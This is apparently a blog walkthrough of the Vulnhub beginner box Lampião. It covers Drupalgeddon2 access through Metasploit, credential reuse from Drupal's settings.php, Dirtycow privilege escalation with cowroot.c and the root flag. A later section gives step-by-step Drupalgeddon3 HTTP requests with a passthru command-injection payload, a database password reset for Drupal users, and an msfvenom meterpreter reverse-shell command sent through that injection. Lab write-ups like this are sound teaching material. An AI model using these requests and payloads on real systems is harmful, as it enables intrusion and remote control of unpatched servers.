Lampião: 1 | Vulnhub Walkthrough
Lampião is a easy box with direct exploit vectors and is well suited for beginners. Made by Tiago Tavares and hosted on Vulnhub.
Level: Beginner
I started with arp-scan on the box to uncover its IP address.
Enumeration
Nmap scans were able to identify two web applications, on port 80 and 1898. Application on port 80 had some weird ASCII art in it. The other application was a site developed using Drupal CMS(Content Management System).
Drupal_drupalgeddon2 exploit
Nikto and dirb were able to uncover many paths in the application and some of those directories were listable. One of the first things I do with any CMS is to check its version. Most CMS softwares are affected by high impact vulnerabilities.
As the source code of most of these CMS projects are public, people are likely to find more vulnerabilities in them. Well that’s good in one way, but very bad for people who doesn't patch their installations. You can check the version of Drupal CMS by browsing to CHANGELOG.txt file which is present by default in most installations. Also this VM exposes lots of its internal paths via the robots.txt file.
First things first! Lets check the version of Drupal and see if it has any vulnerabilities. It is Drupal 7.54! Searchsploit tool in Kali can be used to search exploits available in Exploit-DB without internet.
I was able to identify that Drupal 7.54 is vulnerable to Drupalgeddon3 and Drupalgeddon2 exploit. But Drupalgeddon3 requires authentication and as of now we don’t have credentials, so Drupalgeddon2 seems promising. With a quick Google search I was able to figure out the Metasploit module for Drupalgeddon2. I was able to gain access to the box as www-data user.
My first intuition was to check for database connection string, which will contain passwords. Drupal has it’s database connection string stored in /sites/default/settings.php. I got a password from the file and then I identified valid users in the system from the /etc/passwd file. And the password worked for tiago user.
Dirtycow Exploit
My advice for cracking most simple challenges is to not overthink and try simple things first. I checked the machine OS version and it was Ubuntu 14.04.05. Linux-exploit-suggester is a nice script which can automatically suggest some exploits based on the kernel version and OS version.
I got the following output from the script.
Available information:
Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04.5
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
70 kernel space exploits
32 user space exploits
Possible Exploits:
[+] [CVE-2016-0728] keyring
Details: ......
Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working
[+] [CVE-2016-2384] usb-midi
Details: .......
Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user
[+] [CVE-2016-4557] double-fdput()
Details: ......
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847.cpp
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2016-8655] chocobo_root
Details: .......
Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabledOf the exploits identified first three had special conditions to be satisfied,so they are no good for us. Dirtycow exploit is a very reliable exploit, however I am not very impressed with the reliability of Exploit-DB exploits for Dirtycow. Dirtycow exploit has its own cool website which has many reliable exploits. Github repository of the website has several useful exploits for abusing Dirtycow vulnerability.
Tip: Finding the working exploit for a box is more of a trial and error process. As you gain experience you will be able to make more educated guesses.
Of the available exploits in the repository cowroot.c will work perfectly for us. However before you fire it up make sure that you have the right payload(x86 or x64) in cowroot. By default x64 payload is un-commented in the code but our box has 32 bit architecture. So I commented out the x64 payload and uncommented x86 payload in the code of cowroot.c. Then I compiled the code using gcc to create the exploit binary.
gcc cowroot.c -o cowroot -pthread
The root flag can be read from /root/flag.txt: 9740616875908d91ddcdaa8aea3af366
Beyond the root
I take every vulnhub VM as a chance for me to learn something new. Following part of this post is going to be about my effort in digging deeper on Drupal. If you are interested just in the CTF solution, probably the below details may not be interesting to you.
If you had paid keen attention to the searchsploit results, you would have seen a Drupal_Drupalgeddon3 exploit which required authentication to be performed. My idea was to test that exploit out.
Gaining Access to Drupal
The prerequisite for Drupal_Drupalgeddon3 exploit is that you need to have authenticated access to Drupal. There are atleast two users ‘Eden’ and ‘tiago’ if you check the Drupal site. But unfortunately the password we discovered isn't working for either accounts.
How about we reset the password of Drupal users? (*evil*) This page on Drupal official documentation helped me a lot.
- To reset the password of a Drupal7 website you need to run password-hash.sh located on the /scripts folder first, which will create a valid hash for the Drupal installation. password-hash.sh depends on php, so make sure location of php is added to the PATH as well. When I ran the script on Lampiao, I got couple of errors, basically because of the hard-coded locations of ‘includes/password.inc’ and ‘includes/bootstrap.inc’ , they were not correct. I just added a ‘/../’ in front of the path to fix that. The syntax for invoking password-hash.sh is:
./scripts/password-hash.sh <new_password>
2. Connect to MySQL database using the credentials in connection string and update the users table with the new hashes.
So now we can login to Drupal as ‘tiago’ or as ‘Eden’ which is the primary requirement for our exploit to work.
Drupal_drupalgeddon3 exploit
Drupal_drupalgeddon3 exploit will work if we have access to any Drupal user account which has a permission to delete nodes. On ExploitDB you can find two exploits there EDB-44542 and EDB-44557(Metasploit). I imported the Metasploit exploit and tried it, but it failed. Exploit EDB-44542 is not very descriptive and it took me sometime to figure the issue behind drupalgeddon3.
- Step 1: You need to create a new page/post in Drupal. Otherwise you can also note the node ID of an existing page.
- Step 2: Issue the request to fetch the CSRF token. You need to send a GET request to below URL. My node ID is 5, in this example. From the response a hidden parameter value named ‘form_token’ can be obtained which will contain the CSRF token.
GET /?q=node%2F5%2Fdelete&destination=node%2F4%23overlay%3Dadmin%2Fcontent HTTP/1.1
- Step 3: Issue POST request to delete the node. This is where we need the CSRF token. But this request will not delete the node, deletion in Drupal is a two step process with an user confirmation prompt. We will inject our payload through this request. We need to note the ‘form_build_id’ from the response for our next step.
POST /?q=node/5/delete&destination=node?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
......
......
Content-Type: application/x-www-form-urlencoded
Content-Length: 115form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=<CSRF_TOKEN>
- Step 4: Issue a cancel request using the previously noted form_build_id. This is where the payload is going to get executed.
POST /?q=file/ajax/actions/cancel/%23options/path/<form_build_id> HTTP/1.1
.......
.......
Content-Type: application/x-www-form-urlencoded
Content-Length: 62form_build_id=<form_build_id>
How to get a reverse shell?
For getting a reverse shell you can pass the appropriate command at stage 3 when you issue the request to delete a node. For obtaining a meterpreter session I used the below command.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.102 lport=445 -e php/base64The output of the msfvenom command was passed to URL parameter as given below:
POST /?q=node/10/delete&destination=node?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=php%20-r%20'<msfvenom_payload>;'Thats All. Thank you folks.
Update: I modified EDB-44557 Metasploit code for bug fix. You can import below Metasploit code for exploitation.
